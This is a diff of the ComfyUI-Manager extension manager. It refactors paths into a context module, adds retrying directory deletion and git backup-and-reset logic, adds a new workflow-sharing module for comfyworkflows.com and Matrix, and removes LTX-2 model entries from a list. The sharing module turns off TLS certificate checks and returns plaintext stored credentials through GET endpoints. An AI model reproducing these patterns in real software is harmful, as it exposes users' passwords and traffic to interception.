pass
print("[ComfyUI Manager] Failed to switch to the default branch")
@@ -1853,21 +1834,44 @@ def switch_to_default_branch(repo):
def reserve_script(repo_path, install_cmds):
if not os.path.exists(manager_startup_script_path):
os.makedirs(manager_startup_script_path)
if not os.path.exists(context.manager_startup_script_path):
os.makedirs(context.manager_startup_script_path)
script_path = os.path.join(manager_startup_script_path, "install-scripts.txt")
script_path = os.path.join(context.manager_startup_script_path, "install-scripts.txt")
with open(script_path, "a") as file:
obj = [repo_path] + install_cmds
file.write(f"{obj}\n")
def try_rmtree(title, fullpath):
# Tier 1: retry with delay for transient Windows file locks
for attempt in range(3):
try:
shutil.rmtree(fullpath)
return
except OSError:
if attempt < 2:
time.sleep(1)
# Tier 2: rename into .disabled/.trash/ so scanner ignores it
trash_dir = os.path.join(os.path.dirname(fullpath), '.disabled', '.trash')
os.makedirs(trash_dir, exist_ok=True)
trash = os.path.join(trash_dir, os.path.basename(fullpath) + f'_{uuid.uuid4().hex[:8]}')
try:
shutil.rmtree(fullpath)
except Exception as e:
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.\nEXCEPTION: {e}")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
os.rename(fullpath, trash)
shutil.rmtree(trash, ignore_errors=True)
if not os.path.exists(trash):
return
# Rename succeeded but delete failed — schedule trash path for lazy delete
logging.warning(f"[ComfyUI-Manager] Renamed '{fullpath}' to '{trash}' but could not delete; scheduled for restart.")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", trash])
return
except OSError:
pass
# Tier 3: lazy delete on restart (ComfyUI GUI fallback)
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
def try_install_script(url, repo_path, install_cmd, instant_execution=False):
@@ -1896,7 +1900,7 @@ def try_install_script(url, repo_path, install_cmd, instant_execution=False):
print(f"[WARN] ComfyUI-Manager: Your ComfyUI version ({comfy_ui_revision})[{comfy_ui_commit_datetime.date()}] is too old. Please update to the latest version.")
print("[WARN] The extension installation feature may not work properly in the current installed ComfyUI version on Windows environment.")
print("###################################################################\n\n")
except:
except Exception:
pass
if code != 0:
@@ -1911,11 +1915,11 @@ def try_install_script(url, repo_path, install_cmd, instant_execution=False):
# use subprocess to avoid file system lock by git (Windows)
def __win_check_git_update(path, do_fetch=False, do_update=False):
if do_fetch:
command = [sys.executable, git_script_path, "--fetch", path]
command = [sys.executable, context.git_script_path, "--fetch", path]
elif do_update:
command = [sys.executable, git_script_path, "--pull", path]
command = [sys.executable, context.git_script_path, "--pull", path]
else:
command = [sys.executable, git_script_path, "--check", path]
command = [sys.executable, context.git_script_path, "--check", path]
new_env = get_script_env()
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=get_default_custom_nodes_path(), env=new_env)
@@ -1969,7 +1973,7 @@ def __win_check_git_update(path, do_fetch=False, do_update=False):
def __win_check_git_pull(path):
command = [sys.executable, git_script_path, "--pull", path]
command = [sys.executable, context.git_script_path, "--pull", path]
process = subprocess.Popen(command, env=get_script_env(), cwd=get_default_custom_nodes_path())
process.wait()
@@ -1985,7 +1989,7 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
else:
if os.path.exists(requirements_path) and not no_deps:
print("Install: pip packages")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), context.comfy_path, context.manager_files_path)
with open(requirements_path, "r") as requirements_file:
for line in requirements_file:
#handle comments
@@ -2017,6 +2021,27 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
return True
def install_manager_requirements(repo_path):
"""
Install packages from manager_requirements.txt if it exists.
This is specifically for ComfyUI's manager_requirements.txt.
"""
manager_requirements_path = os.path.join(repo_path, "manager_requirements.txt")
if not os.path.exists(manager_requirements_path):
return
logging.info("[ComfyUI-Manager] Installing manager_requirements.txt")
with open(manager_requirements_path, "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
if '#' in line:
line = line.split('#')[0].strip()
if line:
install_cmd = manager_util.make_pip_cmd(["install", line])
subprocess.run(install_cmd)
def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=False):
"""
@@ -2095,7 +2120,15 @@ def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=Fa
return False, True
try:
remote.pull()
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
repo.git.submodule('update', '--init', '--recursive')
new_commit_hash = repo.head.commit.hexsha
@@ -2152,26 +2185,18 @@ class GitProgress(RemoteProgress):
def is_valid_url(url):
try:
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if all([result.scheme, result.netloc]):
return True
finally:
# Check for SSH git URL format
pattern = re.compile(r"^(.+@|ssh://).+:.+$")
if pattern.match(url):
return True
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if result.scheme and result.netloc:
return True
# Check for SSH git URL format
if SSH_URL_PATTERN.match(url):
return True
return False
def extract_url_and_commit_id(s):
index = s.rfind('@')
if index == -1:
return (s, '')
else:
return (s[:index], s[index+1:])
async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=False):
await unified_manager.reload('cache')
await unified_manager.get_custom_nodes('default', 'cache')
@@ -2189,11 +2214,8 @@ async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=
cnr = unified_manager.get_cnr_by_repo(url)
if cnr:
cnr_id = cnr['id']
return await unified_manager.install_by_id(cnr_id, version_spec=None, channel='default', mode='cache')
return await unified_manager.install_by_id(cnr_id, version_spec='nightly', channel='default', mode='cache')
else:
new_url, commit_id = extract_url_and_commit_id(url)
if commit_id != "":
url = new_url
repo_name = os.path.splitext(os.path.basename(url))[0]
# NOTE: Keep original name as possible if unknown node
@@ -2221,15 +2243,11 @@ async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=
clone_url = git_utils.get_url_for_clone(url)
if not instant_execution and platform.system() == 'Windows':
res = manager_funcs.run_script([sys.executable, git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
res = manager_funcs.run_script([sys.executable, context.git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
if res != 0:
return result.fail(f"Failed to clone '{clone_url}' into '{repo_path}'")
else:
repo = git.Repo.clone_from(clone_url, repo_path, recursive=True, progress=GitProgress())
if commit_id!= "":
repo.git.checkout(commit_id)
repo.git.submodule('update', '--init', '--recursive')
repo.git.clear_cache()
repo.close()
@@ -2264,12 +2282,12 @@ def git_pull(path):
current_branch = repo.active_branch
remote_name = current_branch.tracking_branch().remote_name
branch_name = current_branch.name
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
branch_name = current_branch.name
backup_name = f'backup_{time.strftime("%Y%m%d_%H%M%S")}'
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
@@ -2300,7 +2318,7 @@ async def get_data_by_mode(mode, filename, channel_url=None):
cache_uri = str(manager_util.simple_hash(uri))+'_'+filename
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
if get_config()['network_mode'] == 'offline':
if get_config()['network_mode'] == 'offline' or manager_util.is_manager_pip_package():
# offline network mode
if os.path.exists(cache_uri):
json_obj = await manager_util.get_data(cache_uri)
@@ -2320,7 +2338,7 @@ async def get_data_by_mode(mode, filename, channel_url=None):
with open(cache_uri, "w", encoding='utf-8') as file:
json.dump(json_obj, file, indent=4, sort_keys=True)
except Exception as e:
print(f"[ComfyUI-Manager] Due to a network error, switching to local mode.\n=> {filename}\n=> {e}")
print(f"[ComfyUI-Manager] Due to a network error, switching to local mode.\n=> {filename} @ {channel_url}/{mode}\n=> {e}")
uri = os.path.join(manager_util.comfyui_manager_path, filename)
json_obj = await manager_util.get_data(uri)
@@ -2391,7 +2409,7 @@ def gitclone_uninstall(files):
url = url[:-1]
try:
for custom_nodes_dir in get_custom_nodes_paths():
dir_name = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
dir_name:str = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
dir_path = os.path.join(custom_nodes_dir, dir_name)
# safety check
@@ -2439,7 +2457,7 @@ def gitclone_set_active(files, is_disable):
url = url[:-1]
try:
for custom_nodes_dir in get_custom_nodes_paths():
dir_name = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
dir_name:str = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
dir_path = os.path.join(custom_nodes_dir, dir_name)
# safety check
@@ -2536,7 +2554,7 @@ def update_to_stable_comfyui(repo_path):
repo = git.Repo(repo_path)
try:
repo.git.checkout(repo.heads.master)
except:
except Exception:
logging.error(f"[ComfyUI-Manager] Failed to checkout 'master' branch.\nrepo_path={repo_path}\nAvailable branches:")
for branch in repo.branches:
logging.error('\t'+branch.name)
@@ -2560,7 +2578,7 @@ def update_to_stable_comfyui(repo_path):
repo.git.checkout(tag_ref.name)
execute_install_script("ComfyUI", repo_path, instant_execution=False, no_deps=False)
return 'updated', latest_tag
except:
except Exception:
traceback.print_exc()
return "fail", None
@@ -2717,7 +2735,7 @@ async def get_current_snapshot(custom_nodes_only = False):
await unified_manager.get_custom_nodes('default', 'cache')
# Get ComfyUI hash
repo_path = comfy_path
repo_path = context.comfy_path
comfyui_commit_hash = None
if not custom_nodes_only:
@@ -2762,7 +2780,7 @@ async def get_current_snapshot(custom_nodes_only = False):
commit_hash = git_utils.get_commit_hash(fullpath)
url = git_utils.git_url(fullpath)
git_custom_nodes[url] = dict(hash=commit_hash, disabled=is_disabled)
except:
except Exception:
print(f"Failed to extract snapshots for the custom node '{path}'.")
elif path.endswith('.py'):
@@ -2788,12 +2806,10 @@ async def get_current_snapshot(custom_nodes_only = False):
async def save_snapshot_with_postfix(postfix, path=None, custom_nodes_only = False):
if path is None:
now = datetime.now()
date_time_format = now.strftime("%Y-%m-%d_%H-%M-%S")
date_time_format = get_timestamp_for_path()
file_name = f"{date_time_format}_{postfix}"
path = os.path.join(manager_snapshot_path, f"{file_name}.json")
path = os.path.join(context.manager_snapshot_path, f"{file_name}.json")
else:
file_name = path.replace('\\', '/').split('/')[-1]
file_name = file_name.split('.')[-2]
@@ -2820,7 +2836,7 @@ async def extract_nodes_from_workflow(filepath, mode='local', channel_url='defau
with open(filepath, "r", encoding="UTF-8", errors="ignore") as json_file:
try:
workflow = json.load(json_file)
except:
except Exception:
print(f"Invalid workflow file: {filepath}")
exit(-1)
@@ -2833,7 +2849,7 @@ async def extract_nodes_from_workflow(filepath, mode='local', channel_url='defau
else:
try:
workflow = json.loads(img.info['workflow'])
except:
except Exception:
print(f"This is not a valid .png file containing a ComfyUI workflow: {filepath}")
exit(-1)
@@ -3104,7 +3120,7 @@ def populate_github_stats(node_packs, json_obj_github):
v['stars'] = -1
v['last_update'] = -1
v['trust'] = False
except:
except Exception:
logging.error(f"[ComfyUI-Manager] DB item is broken:\n{v}")
@@ -3381,13 +3397,13 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
def get_comfyui_versions(repo=None):
repo = repo or git.Repo(comfy_path)
repo = repo or git.Repo(context.comfy_path)
remote_name = None
try:
remote_name = get_remote_name(repo)
repo.remotes[remote_name].fetch()
except:
except Exception:
logging.error("[ComfyUI-Manager] Failed to fetch ComfyUI")
def parse_semver(tag_name):
@@ -3428,7 +3444,12 @@ def get_comfyui_versions(repo=None):
default_commit = default_head_ref.reference.commit
head_is_default = repo.head.commit == default_commit
except Exception:
head_is_default = False
# Fallback: compare directly with master branch
try:
if 'master' in [h.name for h in repo.heads]:
head_is_default = repo.head.commit == repo.heads.master.commit
except Exception:
head_is_default = False
nearest_semver = normalize_describe(described)
exact_semver = exact_tag if parse_semver(exact_tag) else None
@@ -3460,7 +3481,7 @@ def get_comfyui_versions(repo=None):
def switch_comfyui(tag):
repo = git.Repo(comfy_path)
repo = git.Repo(context.comfy_path)
if tag == 'nightly':
repo.git.checkout('master')
@@ -3500,5 +3521,5 @@ def repo_switch_commit(repo_path, commit_hash):
repo.git.checkout(commit_hash)
return True
except:
except Exception:
return None
File diff suppressed because it is too large Load Diff
+451
View File
@@ -0,0 +1,451 @@
import mimetypes
from ..common import context
from . import manager_core as core
import os
from aiohttp import web
import aiohttp
import json
import hashlib
import folder_paths
from server import PromptServer
import logging
import sys
try:
from nio import AsyncClient, LoginResponse, UploadResponse
matrix_nio_is_available = True
except Exception:
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
matrix_nio_is_available = False
def extract_model_file_names(json_data):
"""Extract unique file names from the input JSON data."""
file_names = set()
model_filename_extensions = {'.safetensors', '.ckpt', '.pt', '.pth', '.bin'}
# Recursively search for file names in the JSON data
def recursive_search(data):
if isinstance(data, dict):
for value in data.values():
recursive_search(value)
elif isinstance(data, list):
for item in data:
recursive_search(item)
elif isinstance(data, str) and '.' in data:
file_names.add(os.path.basename(data)) # file_names.add(data)
recursive_search(json_data)
return [f for f in list(file_names) if os.path.splitext(f)[1] in model_filename_extensions]
def find_file_paths(base_dir, file_names):
"""Find the paths of the files in the base directory."""
file_paths = {}
for root, dirs, files in os.walk(base_dir):
# Exclude certain directories
dirs[:] = [d for d in dirs if d not in ['.git']]
for file in files:
if file in file_names:
file_paths[file] = os.path.join(root, file)
return file_paths
def compute_sha256_checksum(filepath):
"""Compute the SHA256 checksum of a file, in chunks"""
sha256 = hashlib.sha256()
with open(filepath, 'rb') as f:
for chunk in iter(lambda: f.read(4096), b''):
sha256.update(chunk)
return sha256.hexdigest()
@PromptServer.instance.routes.get("/v2/manager/share_option")
async def share_option(request):
if "value" in request.rel_url.query:
core.get_config()['share_option'] = request.rel_url.query['value']
core.write_config()
else:
return web.Response(text=core.get_config()['share_option'], status=200)
return web.Response(status=200)
def get_openart_auth():
if not os.path.exists(os.path.join(context.manager_files_path, ".openart_key")):
return None
try:
with open(os.path.join(context.manager_files_path, ".openart_key"), "r") as f:
openart_key = f.read().strip()
return openart_key if openart_key else None
except Exception:
return None
def get_matrix_auth():
if not os.path.exists(os.path.join(context.manager_files_path, "matrix_auth")):
return None
try:
with open(os.path.join(context.manager_files_path, "matrix_auth"), "r") as f:
matrix_auth = f.read()
homeserver, username, password = matrix_auth.strip().split("\n")
if not homeserver or not username or not password:
return None
return {
"homeserver": homeserver,
"username": username,
"password": password,
}
except Exception:
return None
def get_comfyworkflows_auth():
if not os.path.exists(os.path.join(context.manager_files_path, "comfyworkflows_sharekey")):
return None
try:
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
share_key = f.read()
if not share_key.strip():
return None
return share_key
except Exception:
return None
def get_youml_settings():
if not os.path.exists(os.path.join(context.manager_files_path, ".youml")):
return None
try:
with open(os.path.join(context.manager_files_path, ".youml"), "r") as f:
youml_settings = f.read().strip()
return youml_settings if youml_settings else None
except Exception:
return None
def set_youml_settings(settings):
with open(os.path.join(context.manager_files_path, ".youml"), "w") as f:
f.write(settings)
@PromptServer.instance.routes.get("/v2/manager/get_openart_auth")
async def api_get_openart_auth(request):
# print("Getting stored Matrix credentials...")
openart_key = get_openart_auth()
if not openart_key:
return web.Response(status=404)
return web.json_response({"openart_key": openart_key})
@PromptServer.instance.routes.post("/v2/manager/set_openart_auth")
async def api_set_openart_auth(request):
json_data = await request.json()
openart_key = json_data['openart_key']
with open(os.path.join(context.manager_files_path, ".openart_key"), "w") as f:
f.write(openart_key)
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_matrix_auth")
async def api_get_matrix_auth(request):
# print("Getting stored Matrix credentials...")
matrix_auth = get_matrix_auth()
if not matrix_auth:
return web.Response(status=404)
return web.json_response(matrix_auth)
@PromptServer.instance.routes.get("/v2/manager/youml/settings")
async def api_get_youml_settings(request):
youml_settings = get_youml_settings()
if not youml_settings:
return web.Response(status=404)
return web.json_response(json.loads(youml_settings))
@PromptServer.instance.routes.post("/v2/manager/youml/settings")
async def api_set_youml_settings(request):
json_data = await request.json()
set_youml_settings(json.dumps(json_data))
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_comfyworkflows_auth")
async def api_get_comfyworkflows_auth(request):
# Check if the user has provided Matrix credentials in a file called 'matrix_accesstoken'
# in the same directory as the ComfyUI base folder
# print("Getting stored Comfyworkflows.com auth...")
comfyworkflows_auth = get_comfyworkflows_auth()
if not comfyworkflows_auth:
return web.Response(status=404)
return web.json_response({"comfyworkflows_sharekey": comfyworkflows_auth})
@PromptServer.instance.routes.post("/v2/manager/set_esheep_workflow_and_images")
async def set_esheep_workflow_and_images(request):
json_data = await request.json()
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
json.dump(json_data, file, indent=4)
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_esheep_workflow_and_images")
async def get_esheep_workflow_and_images(request):
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
data = json.load(file)
return web.Response(status=200, text=json.dumps(data))
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
async def get_matrix_dep_status(request):
if matrix_nio_is_available:
return web.Response(status=200, text='available')
else:
return web.Response(status=200, text='unavailable')
def set_matrix_auth(json_data):
homeserver = json_data['homeserver']
username = json_data['username']
password = json_data['password']
with open(os.path.join(context.manager_files_path, "matrix_auth"), "w") as f:
f.write("\n".join([homeserver, username, password]))
def set_comfyworkflows_auth(comfyworkflows_sharekey):
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
f.write(comfyworkflows_sharekey)
def has_provided_matrix_auth(matrix_auth):
return matrix_auth['homeserver'].strip() and matrix_auth['username'].strip() and matrix_auth['password'].strip()
def has_provided_comfyworkflows_auth(comfyworkflows_sharekey):
return comfyworkflows_sharekey.strip()
@PromptServer.instance.routes.post("/v2/manager/share")
async def share_art(request):
# get json data
json_data = await request.json()
matrix_auth = json_data['matrix_auth']
comfyworkflows_sharekey = json_data['cw_auth']['cw_sharekey']
set_matrix_auth(matrix_auth)
set_comfyworkflows_auth(comfyworkflows_sharekey)
share_destinations = json_data['share_destinations']
credits = json_data['credits']
title = json_data['title']
description = json_data['description']
is_nsfw = json_data['is_nsfw']
prompt = json_data['prompt']
potential_outputs = json_data['potential_outputs']
selected_output_index = json_data['selected_output_index']
try:
output_to_share = potential_outputs[int(selected_output_index)]
except Exception:
# for now, pick the first output
output_to_share = potential_outputs[0]
assert output_to_share['type'] in ('image', 'output')
output_dir = folder_paths.get_output_directory()
if output_to_share['type'] == 'image':
asset_filename = output_to_share['image']['filename']
asset_subfolder = output_to_share['image']['subfolder']
if output_to_share['image']['type'] == 'temp':
output_dir = folder_paths.get_temp_directory()
else:
asset_filename = output_to_share['output']['filename']
asset_subfolder = output_to_share['output']['subfolder']
if asset_subfolder:
asset_filepath = os.path.join(output_dir, asset_subfolder, asset_filename)
else:
asset_filepath = os.path.join(output_dir, asset_filename)
# get the mime type of the asset
assetFileType = mimetypes.guess_type(asset_filepath)[0]
share_website_host = "UNKNOWN"
if "comfyworkflows" in share_destinations:
share_website_host = "https://comfyworkflows.com"
share_endpoint = f"{share_website_host}/api"
# get presigned urls
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
async with session.post(
f"{share_endpoint}/get_presigned_urls",
json={
"assetFileName": asset_filename,
"assetFileType": assetFileType,
"workflowJsonFileName": 'workflow.json',
"workflowJsonFileType": 'application/json',
},
) as resp:
assert resp.status == 200
presigned_urls_json = await resp.json()
assetFilePresignedUrl = presigned_urls_json["assetFilePresignedUrl"]
assetFileKey = presigned_urls_json["assetFileKey"]
workflowJsonFilePresignedUrl = presigned_urls_json["workflowJsonFilePresignedUrl"]
workflowJsonFileKey = presigned_urls_json["workflowJsonFileKey"]
# upload asset
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
async with session.put(assetFilePresignedUrl, data=open(asset_filepath, "rb")) as resp:
assert resp.status == 200
# upload workflow json
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
async with session.put(workflowJsonFilePresignedUrl, data=json.dumps(prompt['workflow']).encode('utf-8')) as resp:
assert resp.status == 200
model_filenames = extract_model_file_names(prompt['workflow'])
model_file_paths = find_file_paths(folder_paths.base_path, model_filenames)
models_info = {}
for filename, filepath in model_file_paths.items():
models_info[filename] = {
"filename": filename,
"sha256_checksum": compute_sha256_checksum(filepath),
"relative_path": os.path.relpath(filepath, folder_paths.base_path),
}
# make a POST request to /api/upload_workflow with form data key values
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
form = aiohttp.FormData()
if comfyworkflows_sharekey:
form.add_field("shareKey", comfyworkflows_sharekey)
form.add_field("source", "comfyui_manager")
form.add_field("assetFileKey", assetFileKey)
form.add_field("assetFileType", assetFileType)
form.add_field("workflowJsonFileKey", workflowJsonFileKey)
form.add_field("sharedWorkflowWorkflowJsonString", json.dumps(prompt['workflow']))
form.add_field("sharedWorkflowPromptJsonString", json.dumps(prompt['output']))
form.add_field("shareWorkflowCredits", credits)
form.add_field("shareWorkflowTitle", title)
form.add_field("shareWorkflowDescription", description)
form.add_field("shareWorkflowIsNSFW", str(is_nsfw).lower())
form.add_field("currentSnapshot", json.dumps(await core.get_current_snapshot()))
form.add_field("modelsInfo", json.dumps(models_info))
async with session.post(
f"{share_endpoint}/upload_workflow",
data=form,
) as resp:
assert resp.status == 200
upload_workflow_json = await resp.json()
workflowId = upload_workflow_json["workflowId"]
# check if the user has provided Matrix credentials
if matrix_nio_is_available and "matrix" in share_destinations:
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
filename = os.path.basename(asset_filepath)
content_type = assetFileType
try:
homeserver = 'matrix.org'
if matrix_auth:
homeserver = matrix_auth.get('homeserver', 'matrix.org')
homeserver = homeserver.replace("http://", "https://")
if not homeserver.startswith("https://"):
homeserver = "https://" + homeserver
client = AsyncClient(homeserver, matrix_auth['username'])
# Login
login_resp = await client.login(matrix_auth['password'])
if not isinstance(login_resp, LoginResponse) or not login_resp.access_token:
await client.close()
return web.json_response({"error": "Invalid Matrix credentials."}, content_type='application/json', status=400)
# Upload asset
with open(asset_filepath, 'rb') as f:
upload_resp, _maybe_keys = await client.upload(f, content_type=content_type, filename=filename)
asset_data = f.seek(0) or f.read() # get size for info below
if not isinstance(upload_resp, UploadResponse) or not upload_resp.content_uri:
await client.close()
return web.json_response({"error": "Failed to upload asset to Matrix."}, content_type='application/json', status=500)
mxc_url = upload_resp.content_uri
# Upload workflow JSON
import io
workflow_json_bytes = json.dumps(prompt['workflow']).encode('utf-8')
workflow_io = io.BytesIO(workflow_json_bytes)
upload_workflow_resp, _maybe_keys = await client.upload(workflow_io, content_type='application/json', filename='workflow.json')
workflow_io.seek(0)
if not isinstance(upload_workflow_resp, UploadResponse) or not upload_workflow_resp.content_uri:
await client.close()
return web.json_response({"error": "Failed to upload workflow to Matrix."}, content_type='application/json', status=500)
workflow_json_mxc_url = upload_workflow_resp.content_uri
# Send text message
text_content = ""
if title:
text_content += f"{title}\n"
if description:
text_content += f"{description}\n"
if credits:
text_content += f"\ncredits: {credits}\n"
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={"msgtype": "m.text", "body": text_content}
)
# Send image
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={
"msgtype": "m.image",
"body": filename,
"url": mxc_url,
"info": {
"mimetype": content_type,
"size": len(asset_data)
}
}
)
# Send workflow JSON file
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={
"msgtype": "m.file",
"body": "workflow.json",
"url": workflow_json_mxc_url,
"info": {
"mimetype": "application/json",
"size": len(workflow_json_bytes)
}
}
)
await client.close()
except:
import traceback
traceback.print_exc()
return web.json_response({"error": "An error occurred when sharing your art to Matrix."}, content_type='application/json', status=500)
return web.json_response({
"comfyworkflows": {
"url": None if "comfyworkflows" not in share_destinations else f"{share_website_host}/workflows/{workflowId}",
},
"matrix": {
"success": None if "matrix" not in share_destinations else True
}
}, content_type='application/json', status=200)
@@ -5180,325 +5180,6 @@
"size": "25.75GB"
},
{
"name": "LTX-2 19B Dev FP8",
"type": "checkpoint",
"base": "LTX-2",
"save_path": "checkpoints/LTX-2",
"description": "LTX-2 19B Dev FP8 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-dev-fp8.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-dev-fp8.safetensors",
"size": "27.1GB"
},
{
"name": "LTX-2 19B Distilled FP8",
"type": "checkpoint",
"base": "LTX-2",
"save_path": "checkpoints/LTX-2",
"description": "LTX-2 19B Distilled FP8 model.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-distilled-fp8.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-distilled-fp8.safetensors",
"size": "27.1GB"
},
{
"name": "LTX-2 19B Dev",
"type": "checkpoint",
"base": "LTX-2",
"save_path": "checkpoints/LTX-2",
"description": "LTX-2 19B Dev model.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-dev.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-dev.safetensors",
"size": "43.3GB"
},
{
"name": "LTX-2 19B Distilled",
"type": "checkpoint",
"base": "LTX-2",
"save_path": "checkpoints/LTX-2",
"description": "LTX-2 19B Distilled model.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-distilled.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-distilled.safetensors",
"size": "43.3GB"
},
{
"name": "LTX-2 Spatial Upscaler",
"type": "upscale",
"base": "upscale",
"save_path": "default",
"description": "Spatial upscaler model for LTX-2. This model enhances the spatial resolution of generated videos.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-spatial-upscaler-x2-1.0.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-spatial-upscaler-x2-1.0.safetensors",
"size": "996MB"
},
{
"name": "LTX-2 Temporal Upscaler",
"type": "upscale",
"base": "upscale",
"save_path": "default",
"description": "Temporal upscaler model for LTX-2. This model enhances the temporal resolution of generated videos.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-temporal-upscaler-x2-1.0.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-temporal-upscaler-x2-1.0.safetensors",
"size": "262MB"
},
{
"name": "LTX-2 19B Distilled LoRA",
"type": "lora",
"base": "LTX-2",
"save_path": "loras",
"description": "A LoRA adapter that transforms the standard LTX-2 19B model into a distilled version when loaded.",
"reference": "https://huggingface.co/Lightricks/LTX-2",
"filename": "ltx-2-19b-distilled-lora-384.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-distilled-lora-384.safetensors",
"size": "7.67GB"
},
{
"name": "LTX-2 19B IC LoRA - Canny Control",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for canny control on LTX-2 19B IC model. Intended for advanced edge control and guided generation.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Canny-Control",
"filename": "ltx-2-19b-ic-lora-canny-control.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Canny-Control/resolve/main/ltx-2-19b-ic-lora-canny-control.safetensors",
"size": "654MB"
},
{
"name": "LTX-2 19B IC LoRA - Depth Control",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for depth control on LTX-2 19B IC model. Adds depth-aware generation guidance.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Depth-Control",
"filename": "ltx-2-19b-ic-lora-depth-control.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Depth-Control/resolve/main/ltx-2-19b-ic-lora-depth-control.safetensors",
"size": "654MB"
},
{
"name": "LTX-2 19B IC LoRA - Detailer",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA detailer for LTX-2 19B IC. Improves fine details and sharpness in generated outputs.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Detailer",
"filename": "ltx-2-19b-ic-lora-detailer.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Detailer/resolve/main/ltx-2-19b-ic-lora-detailer.safetensors",
"size": "2.62GB"
},
{
"name": "LTX-2 19B IC LoRA - Pose Control",
"type": "lora",
"base": "LTX-2",
"save_path": "loras/LTX-2",
"description": "LoRA for pose control on LTX-2 19B IC model. Enables pose-guided image/video generation.",
"reference": "https://huggingface.co/Lightricks/LTX-2-19b-IC-LoRA-Pose-Control",
